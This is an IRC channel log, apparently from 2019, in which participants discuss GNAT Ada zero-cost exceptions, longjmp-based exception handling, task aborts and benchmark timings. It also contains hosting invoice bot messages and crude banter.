it ; and THEN see if abort aborts. 1895327;1549981596;a111;Logged on 2019-02-10 17:37 asciilifeform: will add to this also, that if yer thread is actually wedged, it will almost always be on acct of http://btcbase.org/log/2019-02-08#1893811 , i.e. waiting for a blocking unix i/o, and no matter what yer pthreads proggy is written in , c, ada, cobol, whatever, it will still become a zombie, cuz unix is retarded. 1895328;1549981599;mircea_popescu;if it does i am sold. 1895329;1549981619;asciilifeform;mircea_popescu: the obvious use case is e.g. dead FG 1895330;1549981635;mircea_popescu;exactly what i had in mind for "hey diana_coman check this" if you returned true. 1895331;1549981704;mircea_popescu;anyway, it's fucking insulting as all hell, this zcx implementation. i suspect we will have to fix it anyway, because it is not really feasible to NOT have one, on irons that support it. 1895332;1549981724;mircea_popescu;and fixing means ~have it handle all sigs~ wtf bs half-job is this. 1895333;1549981915;asciilifeform;mircea_popescu: there's also the ada.interrupts package, which actually sets up signal handlers. if all you want is emergency stop of thread, that'll do it 1895334;1549981933;mircea_popescu;i guess, though i am not sure the correct approach is adding packages. 1895335;1549981962;asciilifeform;it's a standard pkg, rather than gnatism (i.e. also worx on raw irons, anyffin with an interrupt controller) 1895336;1549981983;mircea_popescu;yeah but i have nfi what it shits into the obj code, and so on. but not off the table, no. 1895337;1549982013;asciilifeform;it shits a signal handler into the obj. same as you'd have if you were writing daemon in c. 1895338;1549982035;mircea_popescu;did you ever use / look at this thing in any depth ? 1895339;1549982046;asciilifeform;looked but not tested. 1895340;1549982054;mircea_popescu;aite. 1895341;1549982054;asciilifeform;had not yet had occasion to put to use. 1895342;1549982066;asciilifeform;( just as not yet used task system prior to diana_coman uncrating it ) 1895343;1549982138;asciilifeform;currently diana_coman is the 'test all gnat knobs' pioneer; asciilifeform's item is deliberately spartan re what is used, as it was designed to run even on e.g. msdos, where there are no threads 1895344;1549982213;mircea_popescu;well, someone else gets to rage in the logs for a while. 1895345;1549982373;asciilifeform;https://archive.is/HpVWP << likbez re the interrupts mechanism, if we end up wanting to try such thing. ( a bare-iron gnat will ~have~ to use it, for basic machine i/o handling, so asciilifeform is doomed to test it sooner or later , fwiw ) 1895346;1549982468;asciilifeform;iirc on unix it uses standard posix signals, on raw irons, whichever interrupt system the chip provides 1895347;1549982643;asciilifeform;http://btcbase.org/log/2019-02-12#1895272 << serpent dun have many jumps in it, recall, it's unrolled, even fewer jumps (conditional or otherwise) than ffa 1895348;1549982643;a111;Logged on 2019-02-12 14:05 diana_coman: mircea_popescu, eucrypt's test on Serpent seem good candidates as one can even adjust how many iterations to do if you want some specific time intervals; current full test of the serpent module (including i/o because of using test vectors in file) is reported by time at ~2.3s without sjlj; this has no tasks/exceptions as such;thing is: time is not extremely precise but I could run I suppose some 1k times and see 1895349;1549982659;mircea_popescu;which is why it got wrapped. 1895350;1549982663;asciilifeform;so it's a poor test of hypothesis of 'does longjmp runtime nail speed of jumps' 1895351;1549982692;asciilifeform;mircea_popescu: in that sense ideal test is empty loop, rather than loop containing an item that is simply heavy but not on acct of jumpism 1895352;1549982715;asciilifeform;i.e. try with simply the wrappings. 1895353;1549982716;mircea_popescu;i wanted something in there of a little heft to make sure we're not being optimized or w/e. 1895354;1549982725;mircea_popescu;not like it makes a diff. 1895355;1549982726;asciilifeform;two nested loops!111 1895356;1549982731;asciilifeform;serpent will do tho 1895357;1549982734;mircea_popescu;there were 20 in the design. 1895358;1549982752;asciilifeform;oughta suffice for test 1895359;1549982773;mircea_popescu;the design calls for 20 loops each spawned by an if-even test. 1895360;1549982787;asciilifeform;aa yea finally read to that pt 1895361;1549982793;asciilifeform;sounds like Right Thing 1895362;1549982805;*;asciilifeform eaten log. 1895363;1549983102;diana_coman;mircea_popescu, such a thing? http://p.bvulpes.com/pastes/YaMpS/?raw=true 1895364;1549983128;mircea_popescu;precisely! 1895365;1549983148;asciilifeform;loox ideal imho 1895366;1549983183;diana_coman;about 0.45 secs per run reported (without long jump) 1895367;1549984017;*;diana_coman will let it run some 1k times and see an avg 1895368;1549984494;mircea_popescu;diana_coman did you actually only do a b c ? 1895369;1549984546;diana_coman;so far yes because it's already at 0.46 secs; do you want it up to k or what? 1895370;1549984579;diana_coman;not a big deal; reading here on the sjlj theoretically the biggest slowdown would be when there are some exception handlers so maybe I should add that to testing 1895371;1549984590;diana_coman;i.e. an exception handler, not necessarily a raise 1895372;1549984687;diana_coman;also re zero-cost: "this method has considerably poorer performance for the propagation of exceptions" 1895373;1549984690;diana_coman;such zero 1895374;1549984770;asciilifeform;imho elaborately propagating ( rather than catching in exactly 1 place ) exceptions is bad idea on any platform 1895375;1549984810;diana_coman;asciilifeform, yes; my point was simply that their "zero-cost" is in fact all sorts of costs 1895376;1549984831;diana_coman;that one might not care about that or the other maybe but that doesn't mean it dun' exist now 1895377;1549984833;asciilifeform;diana_coman: it's a riotously inept naming yea 1895378;1549984869;asciilifeform;should've stuck to e.g. 'short jump'/'long jump' mode or similar 1895379;1549984903;diana_coman;I suppose "not catchy enough " 1895380;1549984947;mircea_popescu;diana_coman http://p.bvulpes.com/pastes/6d1R4/?raw=true << like that. 1895381;1549984967;mircea_popescu;the most valuable (from a timing perspective) loops are the innermost ones, because they get jumped in and out of hundreds of tyimes. 1895382;1549984998;diana_coman;mircea_popescu, so up to v, that's clear enough, lol 1895383;1549985006;diana_coman;lemme see 1895384;1549985039;mircea_popescu;diana_coman in ~principle~ zero cost exception handling is this thing : ~instead~ of calling code when exceptions arise, you instead unroll all calls in place, where exceptions might arise. this way you don't get a run-time penalty (because you paid for it in code space) 1895385;1549985051;mircea_popescu;not all archs work well for this, and evidently not all implementations are fucking useful. 1895386;1549985076;mircea_popescu;but really, it's just handler unrolling/inlining, depending how you look at it. ie, zcx is a ~concept~, much like "unrolled loops" or w/e. 1895387;1549985096;asciilifeform;mircea_popescu: recall that an exception differs from other control transfers in that it can unwind the call stack 1895388;1549985102;mircea_popescu;yes. 1895389;1549985104;asciilifeform;this always costs 1895390;1549985113;mircea_popescu;right, it's a misnomer, i'm not arguing that part. 1895391;1549985191;asciilifeform;( in ffa, exceptions are a 'catch fire' condition, and drop into the last-chance handler, but in moar complicated proggy, with, say, devices, you may want to actually handle and keep working ) 1895392;1549985234;mircea_popescu;it's not clear that the complex exception handling mechanism with propagations and whatnot that eventually yielded the "try/catch" mechanism exposed in fucking code is ~at all useful~. 1895393;1549985248;asciilifeform;imho it aint 1895394;1549985265;mircea_popescu;much like there's a very sensible design reason to not even expose abort in ada code : do NOT encourage morons who http://btcbase.org/log/2016-01-21#1379603 1895395;1549985265;a111;Logged on 2016-01-21 13:29 asciilifeform: 'if i make it what i think is the right size, it crashes!111' 1895396;1549985265;asciilifeform;i use'em as strictly as equivalent of the red lamp 1895397;1549985274;mircea_popescu;because in truth, abort is the wrong solution in 999 cases out of 1k 1895398;1549985301;mircea_popescu;nevertheless, baby bathwater over here. 1895399;1549985303;*;asciilifeform did point out, this, in the 'order son to seppuku' thrd 1895400;1549985337;asciilifeform;but also agree with mircea_popescu , you gotta have a way to halt a wedged device i/o at least. 1895401;1549985354;mircea_popescu;seems to me self-evident that there's need for exactly two layers of exception handler : a) our code fucked up, in which case end it all or else b) some ~item~ such as whatever, a fg fucked up, in which case REPORT THIS TO ME, don't wait for it forever./ 1895402;1549985364;mircea_popescu;ie, two layers are needed to implement the citizen/foreigner distinction. 1895403;1549985389;asciilifeform;seems to me that the correct layer for timeout is the i/o call 1895404;1549985399;asciilifeform;rather than the enclosing thread 1895405;1549985400;mircea_popescu;but in any case one can't have an ada machine without working abort (which specifically means, NOT import the c consrtruct, cuz wtf am i gonna do.) 1895406;1549985419;mircea_popescu;asciilifeform but then i gotta what, write my own drivers/kernel mods for every peripheral ? 1895407;1549985425;asciilifeform;nah 1895408;1549985440;asciilifeform;just need a working timeout in the read call 1895409;1549985451;mircea_popescu;which is either ada or isn't. 1895410;1549985503;asciilifeform;i/o arguably is always 'not ada' when on unix box ( see ave1 for detail ) 1895411;1549985512;mircea_popescu;pretty much 1895412;1549985539;mircea_popescu;(yes, the objection stands, "mp, ada machjine long way off because all peripherals are c-machines". sure, they are. we also make items.) 1895413;1549985554;asciilifeform;on raw irons tho, gotta have a mechanism that actually 'ada', given as that's the only scheduler you have, unless baked new 1895414;1549985604;mircea_popescu;the issue of having every god damn peripheral aware of time is another fucking bojum 1895415;1549985606;mircea_popescu;what if i dun wanna. 1895416;1549985630;asciilifeform;or, even moar egregiously, ~of other periphs~ 1895417;1549985637;mircea_popescu;see, cuz things flow a certain way. "we want to include morons, retards and other bureaucrats" --therefore--> "smartphones" and "ntp" and so on. 1895418;1549985641;asciilifeform;!#s dma 1895419;1549985641;a111;113 results for "dma", http://btcbase.org/log-search?q=dma 1895420;1549985646;asciilifeform;^ see also 1895421;1549985655;mircea_popescu;"peripheral should know of time" --> ntp. 1895422;1549985675;mircea_popescu;and so on, this constant up AND DOWN the tree calling paradigm recreates c++, java and usg necessarily. 1895423;1549985686;asciilifeform;hrm i can't actually think of a periph that 'wants to know time' 1895424;1549985711;mircea_popescu;the only way to have sane republic is precisely the http://trilema.com/2015/causes-and-purposes/ which specifically here means, NO CALLS BACK UP THE TREE. 1895425;1549985722;mircea_popescu;topnode evaluation ~can NEVER~ depend on lowernode value. 1895426;1549985734;mircea_popescu;asciilifeform how's it to have timeout if it doesn't know time ? 1895427;1549985746;asciilifeform;mircea_popescu: this is an ancient evil, was called 'abstraction inversion' 1895428;1549985750;mircea_popescu;yes. 1895429;1549985811;asciilifeform;mircea_popescu: you dun make timeouts using magic periphs, but using the os scheduler ( which in turn uses interrupt controller , having oscillator of some form so you can do slices ) 1895430;1549985824;mircea_popescu;var selectedTextBox = (TextBox)sender, if (IsAdmin) { selectedTextBox.Enabled = true; selectedTextBox.Text = superSecretPassword; } else{ selectedTextBox.Clear();} 1895431;1549985837;mircea_popescu;asciilifeform so then you do it from ada. 1895432;1549985837;asciilifeform;lolwat 1895433;1549985852;mircea_popescu;asciilifeform thinkaboutit! if isadmin! 1895434;1549985876;asciilifeform;where was this? 1895435;1549985890;asciilifeform;( or didactic? ) 1895436;1549985914;mircea_popescu;rather, epic. c#ism 1895437;1549985939;asciilifeform;lol! 1895438;1549985948;mircea_popescu;asciilifeform https://stackoverflow.com/questions/1916260/more-fluent-c-sharp-net << item 1895439;1549985991;asciilifeform;mircea_popescu: i associate shitoverflow with articles like 'how do i cast 'fireball' in real life?' ( actual find ) 1895440;1549986012;asciilifeform;'my thesis advisor heils hitler, wat do' 1895441;1549986022;asciilifeform;'my thesis advisor ate my pet fish' 1895442;1549986026;asciilifeform;and so forth 1895443;1549986047;mircea_popescu;this is just an epic case of http://btcbase.org/log/2015-06-22#1172831 1895444;1549986047;a111;Logged on 2015-06-22 21:22 mircea_popescu: ascii_field this goes right into our discussion about how the only reason lisp is ok where c is shot is that the hordes haven't sat on lisp but on c, would have been the other way around if they had sat the other way. 1895445;1549986052;asciilifeform;i usedta have a collection of these, threw out, got trdious 1895446;1549986060;mircea_popescu;tedious or tardious ? 1895447;1549986071;asciilifeform;both 1895448;1549987320;asciilifeform;btw, if you use exceptions, erry thread needs own last-chance exception eater (they dun cross thread boundaries) 1895449;1549987395;asciilifeform;( and since nobody asked 'where exactly does ffa use exceptions? i dun see any throws' -- answr is, ~all~ ada coad where bounds checks are enabled, theoretically 'uses' exception, if you break a bounds check what do you suppose happens.) 1895450;1549987439;asciilifeform;the part i dun use is 'handling', they dun get handled, they go to the last-chance trap where proggy stops. 1895451;1549987480;asciilifeform;( invoking coad ~can~ use handling, if it wants, the lib itself duncare about this ) 1895452;1549987583;asciilifeform;( [http://www.loper-os.org/pub/ffa/hypertext/ch16/ffa_calc__adb.htm][ffacalc] ~does~ have a handler, strictly for trapping invalid cmdline args, ln. 75. ) 1895453;1549987640;asciilifeform;( and [http://www.loper-os.org/pub/ffa/hypertext/ch16/ffa_rng__adb.htm#27_14][in the FG reader] -- again cuz the underlying i/o routines produce'em ) 1895454;1549987733;asciilifeform;imho a proggy should not ever produce exceptions during normal operation, unless iron smokes. 1895455;1549987786;asciilifeform;( at which point, the job of the proggy is to 1) tell operator ~which~ iron smoked 2) come to full stop, failing 'deadly' or 'safe' depending on design context ) 1895456;1549987837;asciilifeform;in e.g. airplane, 'exception' should mean that the entire comp shuts down and transfers control to 1 of the hot spare duplicates. 1895457;1549993669;BingoBoingo;!!v 72CF1A58904C99ADD58670B0B4E205CF1373E7414E89F48A76C40698F6D84A7E 1895458;1549993673;deedbot;BingoBoingo paid jurov invoice 7 1895459;1549993676;BingoBoingo;^ Thank you jurov 1895460;1549995360;asciilifeform;guten tag BingoBoingo 1895461;1549995377;BingoBoingo;Buenas tardes asciilifeform 1895462;1549995544;asciilifeform;http://btcbase.org/log/2019-02-12#1895198 << btw diana_coman , if you know of other readables , plox to post (or at least the titles, i can dig up with own hands ) ; i oughta have posted burnes et al earlier, but seems like errybody is allergic to scans , so didn't hurry . and lemme know if you end up wanting others, i have the 'spark' text for instance. 1895463;1549995544;a111;Logged on 2019-02-12 08:00 diana_coman: http://btcbase.org/log/2019-02-12#1895120 -> yep, that was precisely my ref when looking at Ada multi-threading and what support it offers; it actually reads a bit better than the barnes' progr in 2012 but it's more focused, obv 1895464;1549995698;asciilifeform;( fwiw i (and other ru warez folk) like ancient at&t 'djvu' format, it is moar or less jpeg with optional ocr searchable track. a 300MB pdf turd becomes a 2-3MB djvu. ) 1895465;1549995854;asciilifeform;http://btcbase.org/log/2019-02-12#1895366 << hm what was the runtime ~with~ longjmp ? (or still going ? ) 1895466;1549995854;a111;Logged on 2019-02-12 14:53 diana_coman: about 0.45 secs per run reported (without long jump) 1895467;1549995961;asciilifeform;diana_coman: when that thing is done running, plox to tar it up, i'ma replicate on other irons ( if effect is cache-sensitive, may show diff b/w irons ) 1895468;1549995964;diana_coman;asciilifeform, that was just the 3 loops (a,b,c); over 1000 runs, the avg were similar with and without longjmp i.e. 0.46744 without and 0.46754 with longjmp; atm running the full version aka a-v and that hasn't yet finished 1895469;1549996010;asciilifeform;diana_coman: i suspect then , that i was right re http://btcbase.org/log/2019-02-12#1895287 1895470;1549996010;a111;Logged on 2019-02-12 14:13 asciilifeform: http://btcbase.org/log/2019-02-12#1895234 << ffa uses exceptions strictly as 'fucking stop whole program (and if it's running on a micro, whole machine, and flash 'dead!' lamp) right nao!' , so won't impact. my understanding is that it'd impact only speed of the ~exceptions~, longjump is slower cuz it crosses pages -- cachaistically. 1895471;1549996027;asciilifeform;i.e. only affects cpu cost of exceptions, rather than all jmp. 1895472;1549996048;diana_coman;according to ref manual, of handlers (i.e. regardless of whether exceptions are raised or not) 1895473;1549996072;asciilifeform;hm. would seem that the cost delta is very small, then. 1895474;1549996074;diana_coman;hence I wanted to actually add some handlers in there and see but atm it's still working on the full run loops-only so will see after that 1895475;1549996092;asciilifeform;makes sense. 1895476;1549996113;diana_coman;perhaps that's just because too few loops; I'll report back when I have the numbers though it might take a while 1895477;1549996116;asciilifeform;will be interesting to see what comes of this. if cost remains small , it hardly makes sense to bother with 'zcx' then 1895478;1549996142;diana_coman;for added lulz, gnat on macos has only zcx :| 1895479;1549996156;asciilifeform;diana_coman: gnat on crapple , i am surprised that it worx at all. 1895480;1549996164;asciilifeform;gdb, for instance, doesn't. 1895481;1549996165;diana_coman;no idea if it works really 1895482;1549996167;asciilifeform;or static linking. 1895483;1549996187;asciilifeform;diana_coman: ffacalc fwiw builds an' runs on crapple, but only in 'debug' (misnomer, you can't actually debug..) mode 1895484;1549996190;asciilifeform;dynamically links. 1895485;1549996221;asciilifeform;currently i have 0 intention of supporting the thing on sad platforms, folx who insist on crapple or microshit oughta do it with own hands 1895486;1549996236;diana_coman;certainly 1895487;1549996246;BingoBoingo;!!v 08A654BB3DBD11863F693A5D3772CC279A9990FE3F131765AE1EEEE5927DC3C4 1895488;1549996251;deedbot;Invoiced mircea_popescu 0.05780660 << S.MG rental server monthly 1895489;1549996252;asciilifeform;not that i aint willing to port to e.g. vax or whatever. for a fee.. 1895490;1549996256;BingoBoingo;!!v 10BE0A48EF210E032D6D51ACDE5412F3EBD12E8DE2EAB4CE331CDFD5E5166646 1895491;1549996260;deedbot;Invoiced trinque 0.04364028 << Colocation monthly, shared hosting waived due to January downtim 1895492;1549996268;BingoBoingo;!!v 30CD9BD59B8BCD54B770BABDF583F606374B3F1792C9419AAC0381D0FC439591 1895493;1549996272;deedbot;Invoiced jurov 0.04364028 << TBF colocation monthly 1895494;1549996318;BingoBoingo;Pizarro invoices sent based off the auction settled price point of 1 BTC = 3247 USD 1895495;1549996445;asciilifeform;diana_coman: iirc winblows ~also~ only zcx. 1895496;1549996486;asciilifeform;i dun see why you'd care, tho, unless game ~client~ also gotta thread. 1895497;1549996511;diana_coman;no, windows supposedly has zcx with win32 threads 1895498;1549996519;*;diana_coman will bbl 1895499;1549996525;asciilifeform;zcx ? or longjmp ? 1895500;1549996535;asciilifeform;recall, zcx dun support async apparently at all, anywhere 1895501;1549996535;diana_coman;both with win32 threads 1895502;1549996539;asciilifeform;aa 1895503;1549996541;*;asciilifeform not tested. 1895504;1549997291;mircea_popescu;BingoBoingo for which month is this ?! 1895505;1549997651;mircea_popescu;http://btcbase.org/log/2019-02-12#1895474 << i suppose the next test is a multicall, keep calling two procedures from each other and returning randomly. 1895506;1549997651;a111;Logged on 2019-02-12 18:27 diana_coman: hence I wanted to actually add some handlers in there and see but atm it's still working on the full run loops-only so will see after that 1895507;1549997689;asciilifeform;mircea_popescu: good chance to fill the stack 1895508;1549997703;mircea_popescu;not THAT many 1895509;1549997711;mircea_popescu;http://btcbase.org/log/2019-02-12#1895478 << iirc that's how zcx even became a thiong on gcc. 1895510;1549997711;a111;Logged on 2019-02-12 18:29 diana_coman: for added lulz, gnat on macos has only zcx :| 1895511;1549997745;asciilifeform;mircea_popescu: believe or not, there are ancient moldy irons without interrupt controllers. 1895512;1549997745;BingoBoingo;mircea_popescu: February 1895513;1549997799;*;BingoBoingo will add "concrete period" instead of billing cycle to the invoicing worksheet 1895514;1549997799;mircea_popescu;BingoBoingo is the case i am actually postpaying rather than prepaying here and so early feb i actually paid for jan ? 1895515;1549997836;asciilifeform;BingoBoingo: couldja plox add the billing calendar (with the hash-pseudonymised subscriber names from earlier) to the public www ? so folx dun have to ask why they're being billed at time t and for what 1895516;1549997884;mircea_popescu;asciilifeform something like : when called, procedure a increments global flag x and if global flag x is even calls b ; when called, b increments global flag y, and if global flag y is even calls a else calls c ; c increments both x and y. 1895517;1549997937;asciilifeform;mircea_popescu: would work 1895518;1549997942;mircea_popescu;might need some fiddling to get the numbers right, this one might only grow still. but anyways. 1895519;1549997958;asciilifeform;( would work so long as you take care to return. but i think that is obv ) 1895520;1549997963;mircea_popescu;basically idea is, a markov chain of callings. 1895521;1549997988;mircea_popescu;stops probabilistically eventually -- which seems a bad idea until you realise you get counts, can compare those. 1895522;1549997989;asciilifeform;i really gotta genesis my rdtsc asmism thingie for gnat 1895523;1549997998;asciilifeform;( so as to get actual ticktimes for this & other empiricals ) 1895524;1549998016;mircea_popescu;asciilifeform you propose the init=clock end=clock method no good ? 1895525;1549998059;asciilifeform;it's perfectly good, but to get decent resolution you end up needing gigantic # of repeats ( and unixism machine churn begins to drown the signal ) 1895526;1549998087;mircea_popescu;i do not believe larger experiment gets drowned. on the contrary, larger experiment ~drowns the churn~. 1895527;1549998108;asciilifeform;( 1 moar reason why i'd like that msdos cross-gnat.. on msdos, the wall clock time is invariant ) 1895528;1549998125;mircea_popescu;there is that. 1895529;1549998197;BingoBoingo;mircea_popescu: In early february you paid the Janaury invoice issued in Janaury. It's the case you've come into post paying, but on the strength of your being mircea_popescu I have not found reason to be alarmed or fuss. 1895530;1549998198;asciilifeform;mircea_popescu: recall the http://btcbase.org/log/2019-01-10#1886261 incident ? 1895531;1549998198;a111;Logged on 2019-01-10 14:08 asciilifeform: aaand to round off : it vanished on the test box also. culprit appears to have been a running raid-verify job... 1895532;1549998211;mircea_popescu;i c@ 1895533;1549998225;mircea_popescu;asciilifeform sure. 1895534;1549998237;asciilifeform;that sorta thing is maddening on unix pc. 1895535;1549998243;mircea_popescu;i agree! 1895536;1549998254;asciilifeform;makes it quite tricky to get trooly precise timing for anyffing with serious cpu cost 1895537;1549998254;mircea_popescu;shorter experiments not statistically better still, irrespective of that nonsnese. 1895538;1549998313;asciilifeform;longer obv. better, tho still need a # of independent runs . 1895539;1549998329;asciilifeform;( see e.g. ch15 ffa ) 1895540;1549998459;asciilifeform;http://btcbase.org/log/2019-02-12#1895192 << before this gets lost -- irix has reputation as stable, but porous as all fuck ( sgi never apparently gave half a shit ) ; not that we're at risk of cribbing from it, as you pointed out, 0 src 1895541;1549998459;a111;Logged on 2019-02-12 06:29 phf: asciilifeform: there's also sgi machines with their famously well built x11 implementation. i believe there's no source for that one though 1895542;1549998474;BingoBoingo; BingoBoingo: couldja plox add the billing calendar (with the hash-pseudonymised subscriber names from earlier) to the public www ? so folx dun have to ask why they're being billed at time t and for what << We have customer accounts here on the public www http://pizarroisp.net/pizarro-records/ listed just below the price points. I have been updating it as part of compiling the statements. I don't recall if I pass out 1895543;1549998474;BingoBoingo;customer codes to customers. Will issue GPgrams. 1895544;1549998499;asciilifeform;aa ty BingoBoingo 1895545;1549999007;mircea_popescu;BingoBoingo if select thing worked you could just put that link in the !!billing 1895546;1549999145;BingoBoingo;WWW fixes and cleanup are the order of the week. 1895547;1549999166;mircea_popescu;cool. 1895548;1550001674;feedbot;http://qntra.net/2019/02/madame-secretary-mike-pompeo-declares-huawei-deployments-obstacle-to-us-partnership/ << Qntra -- Madame Secretary Mike Pompeo Declares Huawei Deployments "Obstacle To US Partnership" 1895549;1550001811;asciilifeform;BingoBoingo: http://qntra.net/2019/02/madame-secretary-mike-pompeo-declares-huawei-deployments-obstacle-to-us-partnership/#comment-124253 1895550;1550002035;trinque;Madame Secretary << roaring with laughter over here. 1895551;1550002758;BingoBoingo;asciilifeform: Replied 1895552;1550002782;BingoBoingo;trinque: ty, Gotta keep the office of losers connected to Hillarity 1895553;1550002834;trinque;who says there are men in the femstate anyway 1895554;1550002916;BingoBoingo;Well with Trump's increasingly disappointing performance as "best clown in the circus"... 1895555;1550006135;BingoBoingo;Meanwhile in the Heathen Studies department: "Reddit's latest funding round values its users at a lower price than any other social network. "The company announced Monday it had raised $300 million in its Series D investment round at a valuation of $3 billion," reports CNBC. "CNBC previously reported the company's annual revenue topped $100 million, according to sources familiar with the matter, and at 330 million monthly active users 1895556;1550006135;BingoBoingo;(MAUs), this would make Reddit's average revenue per user (ARPU) about $0.30." From the report: " 1895557;1550007556;feedbot;http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting/ << bvt's backtrace -- GNAT Zero Cost Exceptions and Asynchronous Task Aborting 1895558;1550007632;bvt;^ i got some really weird results here, would appreciate if someone tested the last snippet (constraint_error) on ave1's gnat. 1895559;1550007855;asciilifeform;bvt: re the pragma polling bit : abort aint instantaneous, whereas the if A(I)'Terminated ... item happens immediately 1895560;1550007947;asciilifeform;gcc5 breakage extends into the Ada world << noshit, if yer on a gcc5istic gnat, all bets are off, they fucked the back end 1895561;1550007969;asciilifeform;i recommend to leave gcc5 entirely alone (unless specifically digging for lulz) 1895562;1550008034;asciilifeform;maybe musl implements some functionality is a way unexpected << where didja get a gcc5istic gnat built on musl, bvt ?? 1895563;1550008082;bvt;myeah, i will drop gnat2017. did not manage to make ave1's running quickly today, will switch on ~thursday 1895564;1550008158;bvt;built myself, based on ave1s patches and musl-cross-make (https://github.com/richfelker/musl-cross-make/ , i had some experience with it so did the work rather quickly). 1895565;1550008172;asciilifeform;aa 1895566;1550008191;asciilifeform;afaik there is exactly 0 win from gcc5+, and plenty of lose. 1895567;1550008222;asciilifeform;( re what lose -- see logs. ) 1895568;1550008289;bvt;yes, the only reason i did not switch yet is the convenience of m-c-m for development (i.e. getting i386 and aarch64 builds ready using it took me a few minutes of config time) 1895569;1550008300;asciilifeform;also ftr 'polling' knob does 0 on ave1 gnat. seems like it exists strictly for winblows. 1895570;1550008334;asciilifeform;bvt: m-c-m ? 1895571;1550008335;bvt;no, they explicitly tell in the docs that you have to rebuild the runtime to use it on other systems 1895572;1550008340;bvt;musl-cross-make 1895573;1550008344;asciilifeform;aa 1895574;1550008457;asciilifeform;currently i suspect that polling (even if can be made to work errywhere) will be 9000x moar expensive than longjmpism ( the latter only adds to cost of exceptions, the former -- to ~all~ loops ) 1895575;1550008510;asciilifeform;not to mention, the s.mg folx invoke external cppisms , and these won't have poll markers inside'em no matter what you do 1895576;1550008609;bvt;you can enable polling per scope/loop, don't have to do it globally. re cpp things - true. 1895577;1550008650;asciilifeform;bvt: whole point of multithreadism is to spread out the cpu-bulky work over cores, so i expect most cycles would be spend inside where enabled 1895578;1550008674;asciilifeform;i.e. may as well be global 1895579;1550008679;*;asciilifeform brb,teatime 1895580;1550008749;bvt;may be. tbh i don't think i can reason on this q based on only the test code. 1895581;1550011215;asciilifeform;bvt: my reasoning is based on the docs description of how implemented. but certainly worth a test, if anyone can be arsed ( given the 'all loops gotta be doctored' thing, my understanding is that 'polled' proggy would choke if wedges inside a cppism ) 1895582;1550011398;asciilifeform;'polled' mode seems to resemble the 'cooperative multitasking' found on ancient crapple and win9x 1895583;1550011410;asciilifeform;where you had to explicitly yield a thread, or whole machine ground to halt 1895584;1550012607;bvt;asciilifeform: sure, cpp code won't be instrumented. the 'polled' mode was iirc in the guts of the ancient linux threads implementation. 1895585;1550012678;asciilifeform;bvt: rright. my observation is, it aint suitable for a general-purpose kill switch , the prob orig. posed by mircea_popescu , cuz polled mode can only give ability to kill items which 'agreed' to be killable 1895586;1550012757;asciilifeform;pollism may be suitable for an embedded sys, where gnat is running on naked irons, and the entire contents of the machine was built in 1 shot in the same gnat. but errywhere else it imho is liable to break. 1895587;1550012781;asciilifeform;errr, where yer proggy (rather than gnat) is on naked irons 1895588;1550012857;asciilifeform;if you have cppola ( or even, e.g., an asm-enhanced ffa ) in yer loop, it won't be poll-killable. 1895589;1550012983;bvt;it won't we poll-killable if the whole loop is in cpp/asm. if just a linear code - should not be too bad; sjlj should still work better. 1895590;1550013042;asciilifeform;a linear process can still be heavy enuff (e.g. a 8192-bit primality test on ffa) that you wouldn't want to wait for it to finish when killing a thread 1895591;1550014401;mircea_popescu;re polling and in particular http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting/#selection-197.0-197.47 : i fucking loathe the idea. 1895592;1550014466;mircea_popescu;if there's a mechanism in computing that's supposed to be push not pull, that's exceptions. can't fucking have a pull mechanism for exception handling, and i see 0 gaisn from moving the honest braindamage of "if ZCX_By_Default then return;" into an elaborately & contrivedly hidden same exact thing. 1895593;1550014475;asciilifeform;mircea_popescu: if (and only if) yer scheduler actually runs on the naked iron, a 'polled' sys gives ~less~ nondeterminism than a fully asynchronous one. but nobody's got this iron of yet. 1895594;1550014492;asciilifeform;imho zcx isn't actually of use on the current gnat, at all 1895595;1550014515;mircea_popescu;it doesn't seem so. 1895596;1550014578;asciilifeform;the avionics people seem to use it, but they (near as i was able to learn) dun kill tasks at all, and regard any detected wedge as a http://btcbase.org/log/2019-02-12#1895456 condition 1895597;1550014578;a111;Logged on 2019-02-12 16:10 asciilifeform: in e.g. airplane, 'exception' should mean that the entire comp shuts down and transfers control to 1 of the hot spare duplicates. 1895598;1550014594;mircea_popescu;but seems he ALSO found a race condition in the handlers ? 1895599;1550014618;mircea_popescu;http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting/#selection-263.0-263.78 << rather agreed. 1895600;1550014636;asciilifeform;mircea_popescu: i don't specifically know, but suspect that the eggog happens when parent thread dies and (for moment) the children keep fandangoing 1895601;1550014653;asciilifeform;( which, perhaps surprisingly, unix permits ) 1895602;1550014662;mircea_popescu;possibru. not clear at all what's going on in there. 1895603;1550014683;asciilifeform;tricky to even answer this definitively, the conventional debug facility is shite for thrds 1895604;1550014760;jurov;!!v 336DC30CA43C83BA759B9B7D732082BDF64F65902D9BA3A9F6BCCBC9B2C8C669 1895605;1550014764;deedbot;jurov paid BingoBoingo invoice 8 1895606;1550014785;jurov;thanks, too! 1895607;1550014794;mircea_popescu;http://btcbase.org/log/2019-02-12#1895584 << pretty sure. 1895608;1550014794;a111;Logged on 2019-02-12 23:03 bvt: asciilifeform: sure, cpp code won't be instrumented. the 'polled' mode was iirc in the guts of the ancient linux threads implementation. 1895609;1550014850;*;asciilifeform so far thinks -- if zcx actually measurably wins somewhere, i dun know where that is 1895610;1550014872;mircea_popescu;i'm still waiting for diana_coman to return. 1895611;1550014885;asciilifeform;( aside for weirdo 1970s chips with no interrupts... ) 1895612;1550014910;asciilifeform;there's a lulzy 'pentagon standard' one, the name presently escapes me, iirc it is in the log tho 1895613;1550014928;asciilifeform;orig ada-83 standard was baked when it was still king 1895614;1550014946;asciilifeform;possibly http://btcbase.org/log/2015-03-12#1049461 . 1895615;1550014946;a111;Logged on 2015-03-12 01:50 asciilifeform: 'mil-std-1750a' for the curious. 1895616;1550014977;asciilifeform;16-bit thing, circa ~1980 1895617;1550015364;asciilifeform;mircea_popescu: thinking about it -- 'zxc' strikes me as a classic case of http://btcbase.org/log/2018-10-25#1866191 and impedence mismatch generally. it was clearly written as attempt to 'deterministic scheduler on ??? iron/os', but fails, cuz you can't actually spackle away impedence mismatch b/w the underlying platform and the proggy 1895618;1550015364;a111;Logged on 2018-10-25 19:10 asciilifeform: when you add compatibility spackle, serious reader is not saved from reading the thing you spackled over -- on the contrary nao he has to read the ~original~ rubbish ~plus~ your spackle, however much it weighs. 1895619;1550015369;asciilifeform;*zcx 1895620;1550015415;mircea_popescu;certainly seems to be emerging in that light. 